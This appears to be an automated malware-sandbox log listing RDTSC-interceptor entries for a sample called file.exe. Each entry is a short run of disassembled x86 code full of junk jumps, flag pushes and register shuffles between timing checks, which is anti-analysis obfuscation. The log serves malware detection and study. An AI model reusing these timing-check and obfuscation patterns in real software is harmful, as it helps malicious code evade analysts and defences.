Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A10005 second address: 4A10046 instructions: 0x00000000 rdtsc 0x00000002 mov edx, 13BA5D94h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushfd 0x0000000a jmp 00007F81E8BCBB6Dh 0x0000000f sbb ch, 00000056h 0x00000012 jmp 00007F81E8BCBB71h 0x00000017 popfd 0x00000018 popad 0x00000019 xchg eax, ebp 0x0000001a pushad 0x0000001b mov eax, 39197D63h 0x00000020 mov eax, 409C8CBFh 0x00000025 popad 0x00000026 push eax 0x00000027 push eax 0x00000028 push edx 0x00000029 push eax 0x0000002a push edx 0x0000002b pushad 0x0000002c popad 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A10046 second address: 4A10054 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F81E8FD2F7Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C0E11 second address: 49C0E2C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F81E8BCBB77h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C0E2C second address: 49C0ECE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F81E8FD2F7Fh 0x00000008 pop esi 0x00000009 pushfd 0x0000000a jmp 00007F81E8FD2F89h 0x0000000f add cx, 0436h 0x00000014 jmp 00007F81E8FD2F81h 0x00000019 popfd 0x0000001a popad 0x0000001b pop edx 0x0000001c pop eax 0x0000001d mov ebp, esp 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 pushfd 0x00000023 jmp 00007F81E8FD2F83h 0x00000028 add si, 016Eh 0x0000002d jmp 00007F81E8FD2F89h 0x00000032 popfd 0x00000033 pushfd 0x00000034 jmp 00007F81E8FD2F80h 0x00000039 xor ax, 44E8h 0x0000003e jmp 00007F81E8FD2F7Bh 0x00000043 popfd 0x00000044 popad 0x00000045 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C0ECE second address: 49C0ED4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C0ED4 second address: 49C0ED8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C0ED8 second address: 49C0F01 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F81E8BCBB6Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F81E8BCBB75h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C0F01 second address: 49C0F1E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F81E8FD2F87h 0x00000008 pop ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C08D6 second address: 49C08E5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F81E8BCBB6Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C08E5 second address: 49C0962 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F81E8FD2F7Fh 0x00000009 add ah, FFFFFFEEh 0x0000000c jmp 00007F81E8FD2F89h 0x00000011 popfd 0x00000012 pushfd 0x00000013 jmp 00007F81E8FD2F80h 0x00000018 sub ah, 00000068h 0x0000001b jmp 00007F81E8FD2F7Bh 0x00000020 popfd 0x00000021 popad 0x00000022 pop edx 0x00000023 pop eax 0x00000024 push eax 0x00000025 jmp 00007F81E8FD2F89h 0x0000002a xchg eax, ebp 0x0000002b push eax 0x0000002c push edx 0x0000002d jmp 00007F81E8FD2F7Dh 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C0962 second address: 49C0987 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F81E8BCBB71h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e call 00007F81E8BCBB6Ah 0x00000013 pop esi 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C0782 second address: 49C07B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushfd 0x00000006 jmp 00007F81E8FD2F86h 0x0000000b sub cl, FFFFFFD8h 0x0000000e jmp 00007F81E8FD2F7Bh 0x00000013 popfd 0x00000014 popad 0x00000015 push eax 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C07B5 second address: 49C07B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C07B9 second address: 49C07CB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F81E8FD2F7Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C07CB second address: 49C081D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F81E8BCBB71h 0x00000008 pushfd 0x00000009 jmp 00007F81E8BCBB70h 0x0000000e add eax, 4B9E0F98h 0x00000014 jmp 00007F81E8BCBB6Bh 0x00000019 popfd 0x0000001a popad 0x0000001b pop edx 0x0000001c pop eax 0x0000001d xchg eax, ebp 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007F81E8BCBB75h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C081D second address: 49C087C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F81E8FD2F81h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e pushfd 0x0000000f jmp 00007F81E8FD2F83h 0x00000014 add ax, AA6Eh 0x00000019 jmp 00007F81E8FD2F89h 0x0000001e popfd 0x0000001f call 00007F81E8FD2F80h 0x00000024 pop esi 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C087C second address: 49C0882 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C03EB second address: 49C048B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007F81E8FD2F80h 0x0000000a sbb cl, 00000008h 0x0000000d jmp 00007F81E8FD2F7Bh 0x00000012 popfd 0x00000013 popad 0x00000014 popad 0x00000015 xchg eax, ebp 0x00000016 pushad 0x00000017 pushfd 0x00000018 jmp 00007F81E8FD2F84h 0x0000001d add esi, 48914368h 0x00000023 jmp 00007F81E8FD2F7Bh 0x00000028 popfd 0x00000029 pushfd 0x0000002a jmp 00007F81E8FD2F88h 0x0000002f adc si, 95C8h 0x00000034 jmp 00007F81E8FD2F7Bh 0x00000039 popfd 0x0000003a popad 0x0000003b push eax 0x0000003c pushad 0x0000003d mov edx, 35E5C36Ah 0x00000042 mov bh, ACh 0x00000044 popad 0x00000045 xchg eax, ebp 0x00000046 push eax 0x00000047 push edx 0x00000048 jmp 00007F81E8FD2F89h 0x0000004d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C048B second address: 49C0491 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C0491 second address: 49C0495 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C0495 second address: 49C04CC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F81E8BCBB73h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebp, esp 0x0000000d jmp 00007F81E8BCBB76h 0x00000012 pop ebp 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 mov cl, FBh 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A00EBA second address: 4A00EDE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F81E8FD2F7Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F81E8FD2F80h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A00EDE second address: 4A00EE2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A00EE2 second address: 4A00EE8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A00EE8 second address: 4A00EED instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A00EED second address: 4A00F3C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov eax, 04053369h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d jmp 00007F81E8FD2F7Fh 0x00000012 xchg eax, ebp 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 pushfd 0x00000017 jmp 00007F81E8FD2F7Bh 0x0000001c add eax, 67F61F4Eh 0x00000022 jmp 00007F81E8FD2F89h 0x00000027 popfd 0x00000028 pushad 0x00000029 popad 0x0000002a popad 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A00F3C second address: 4A00F41 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A00F41 second address: 4A00F96 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007F81E8FD2F83h 0x0000000a sub cx, 4D5Eh 0x0000000f jmp 00007F81E8FD2F89h 0x00000014 popfd 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 mov ebp, esp 0x0000001a jmp 00007F81E8FD2F7Eh 0x0000001f pop ebp 0x00000020 push eax 0x00000021 push edx 0x00000022 pushad 0x00000023 mov bx, 4B70h 0x00000027 mov ecx, edx 0x00000029 popad 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49E0698 second address: 49E069D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49E069D second address: 49E06A3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49E06A3 second address: 49E0706 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F81E8BCBB73h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c jmp 00007F81E8BCBB76h 0x00000011 push eax 0x00000012 pushad 0x00000013 pushfd 0x00000014 jmp 00007F81E8BCBB71h 0x00000019 and ah, 00000026h 0x0000001c jmp 00007F81E8BCBB71h 0x00000021 popfd 0x00000022 mov bx, cx 0x00000025 popad 0x00000026 xchg eax, ebp 0x00000027 pushad 0x00000028 push eax 0x00000029 push edx 0x0000002a pushad 0x0000002b popad 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49E0706 second address: 49E080F instructions: 0x00000000 rdtsc 0x00000002 mov dx, cx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushfd 0x00000008 jmp 00007F81E8FD2F80h 0x0000000d jmp 00007F81E8FD2F85h 0x00000012 popfd 0x00000013 popad 0x00000014 mov ebp, esp 0x00000016 jmp 00007F81E8FD2F7Eh 0x0000001b mov eax, dword ptr [ebp+08h] 0x0000001e pushad 0x0000001f pushad 0x00000020 pushfd 0x00000021 jmp 00007F81E8FD2F7Ch 0x00000026 jmp 00007F81E8FD2F85h 0x0000002b popfd 0x0000002c pushfd 0x0000002d jmp 00007F81E8FD2F80h 0x00000032 sub ecx, 5D75EDE8h 0x00000038 jmp 00007F81E8FD2F7Bh 0x0000003d popfd 0x0000003e popad 0x0000003f call 00007F81E8FD2F88h 0x00000044 jmp 00007F81E8FD2F82h 0x00000049 pop esi 0x0000004a popad 0x0000004b and dword ptr [eax], 00000000h 0x0000004e jmp 00007F81E8FD2F81h 0x00000053 and dword ptr [eax+04h], 00000000h 0x00000057 jmp 00007F81E8FD2F7Eh 0x0000005c pop ebp 0x0000005d push eax 0x0000005e push edx 0x0000005f pushad 0x00000060 pushfd 0x00000061 jmp 00007F81E8FD2F7Dh 0x00000066 sbb si, 26C6h 0x0000006b jmp 00007F81E8FD2F81h 0x00000070 popfd 0x00000071 pushad 0x00000072 popad 0x00000073 popad 0x00000074 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C062C second address: 49C0632 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C0632 second address: 49C0638 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C0638 second address: 49C063C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C063C second address: 49C064D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c movsx edx, cx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C064D second address: 49C0652 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C0652 second address: 49C06B0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ecx, edi 0x00000005 mov bx, D5A2h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov ebp, esp 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 pushfd 0x00000012 jmp 00007F81E8FD2F82h 0x00000017 sub ax, 8238h 0x0000001c jmp 00007F81E8FD2F7Bh 0x00000021 popfd 0x00000022 pushfd 0x00000023 jmp 00007F81E8FD2F88h 0x00000028 sub ah, FFFFFF98h 0x0000002b jmp 00007F81E8FD2F7Bh 0x00000030 popfd 0x00000031 popad 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49E0306 second address: 49E030C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49E030C second address: 49E0310 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49E0310 second address: 49E031F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49E031F second address: 49E0323 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49E0323 second address: 49E0336 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F81E8BCBB6Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49E0564 second address: 49E056A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A006F5 second address: 4A006FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov di, AFAEh 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A006FE second address: 4A00727 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F81E8FD2F82h 0x00000009 xor si, C9F8h 0x0000000e jmp 00007F81E8FD2F7Bh 0x00000013 popfd 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A00727 second address: 4A00778 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 xchg eax, ebp 0x00000008 jmp 00007F81E8BCBB74h 0x0000000d push eax 0x0000000e jmp 00007F81E8BCBB6Bh 0x00000013 xchg eax, ebp 0x00000014 pushad 0x00000015 movzx esi, dx 0x00000018 mov dh, A0h 0x0000001a popad 0x0000001b mov ebp, esp 0x0000001d jmp 00007F81E8BCBB78h 0x00000022 xchg eax, ecx 0x00000023 push eax 0x00000024 push edx 0x00000025 push eax 0x00000026 push edx 0x00000027 pushad 0x00000028 popad 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A00778 second address: 4A00795 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F81E8FD2F89h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A00795 second address: 4A0079B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A0079B second address: 4A0079F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A0079F second address: 4A007BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c call 00007F81E8BCBB6Bh 0x00000011 pop eax 0x00000012 mov edx, 52D33EBCh 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A007BD second address: 4A00826 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F81E8FD2F80h 0x00000009 and eax, 5D72EDD8h 0x0000000f jmp 00007F81E8FD2F7Bh 0x00000014 popfd 0x00000015 push eax 0x00000016 pop edx 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a xchg eax, ecx 0x0000001b pushad 0x0000001c mov ax, 6E87h 0x00000020 popad 0x00000021 mov eax, dword ptr [76FA65FCh] 0x00000026 pushad 0x00000027 mov ecx, edi 0x00000029 movsx edi, si 0x0000002c popad 0x0000002d test eax, eax 0x0000002f pushad 0x00000030 push eax 0x00000031 push edx 0x00000032 pushfd 0x00000033 jmp 00007F81E8FD2F86h 0x00000038 sbb cl, FFFFFF98h 0x0000003b jmp 00007F81E8FD2F7Bh 0x00000040 popfd 0x00000041 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A00826 second address: 4A00839 instructions: 0x00000000 rdtsc 0x00000002 mov ebx, eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 je 00007F825B0EEC9Fh 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A00839 second address: 4A0083F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A0083F second address: 4A00871 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F81E8BCBB75h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ecx, eax 0x0000000b jmp 00007F81E8BCBB6Eh 0x00000010 xor eax, dword ptr [ebp+08h] 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A00871 second address: 4A00875 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A00875 second address: 4A0087B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A0087B second address: 4A008C3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov cx, di 0x00000006 pushfd 0x00000007 jmp 00007F81E8FD2F87h 0x0000000c adc si, 32CEh 0x00000011 jmp 00007F81E8FD2F89h 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a and ecx, 1Fh 0x0000001d pushad 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A008C3 second address: 4A008C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A008C7 second address: 4A0090A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pushfd 0x00000006 jmp 00007F81E8FD2F82h 0x0000000b sub ax, 6678h 0x00000010 jmp 00007F81E8FD2F7Bh 0x00000015 popfd 0x00000016 pop esi 0x00000017 popad 0x00000018 ror eax, cl 0x0000001a jmp 00007F81E8FD2F7Fh 0x0000001f leave 0x00000020 push eax 0x00000021 push edx 0x00000022 push eax 0x00000023 push edx 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A0090A second address: 4A0090E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A0090E second address: 4A00929 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F81E8FD2F87h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A00929 second address: 4A0092E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A00A0A second address: 4A00A10 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A00A10 second address: 4A00A14 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A00A14 second address: 4A00A18 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B007B second address: 49B0081 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B0081 second address: 49B00A3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F81E8FD2F82h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 mov dx, C42Eh 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B00A3 second address: 49B014F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dh, cl 0x00000005 mov edi, 437CF192h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d and esp, FFFFFFF8h 0x00000010 pushad 0x00000011 pushfd 0x00000012 jmp 00007F81E8BCBB6Fh 0x00000017 sbb ecx, 5F5DF18Eh 0x0000001d jmp 00007F81E8BCBB79h 0x00000022 popfd 0x00000023 mov ecx, 09DE6497h 0x00000028 popad 0x00000029 xchg eax, ecx 0x0000002a jmp 00007F81E8BCBB6Ah 0x0000002f push eax 0x00000030 jmp 00007F81E8BCBB6Bh 0x00000035 xchg eax, ecx 0x00000036 pushad 0x00000037 push esi 0x00000038 mov cl, dh 0x0000003a pop eax 0x0000003b popad 0x0000003c push esi 0x0000003d pushad 0x0000003e mov di, cx 0x00000041 popad 0x00000042 mov dword ptr [esp], ebx 0x00000045 pushad 0x00000046 call 00007F81E8BCBB79h 0x0000004b mov dx, cx 0x0000004e pop eax 0x0000004f call 00007F81E8BCBB6Dh 0x00000054 pop ebx 0x00000055 popad 0x00000056 mov ebx, dword ptr [ebp+10h] 0x00000059 pushad 0x0000005a mov ebx, 257A061Ah 0x0000005f popad 0x00000060 push esi 0x00000061 push eax 0x00000062 push edx 0x00000063 push eax 0x00000064 push edx 0x00000065 push eax 0x00000066 push edx 0x00000067 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B014F second address: 49B0153 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B0153 second address: 49B0166 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F81E8BCBB6Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B0166 second address: 49B019B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ah, dh 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], esi 0x0000000d jmp 00007F81E8FD2F7Ch 0x00000012 mov esi, dword ptr [ebp+08h] 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F81E8FD2F87h 0x0000001c rdtsc
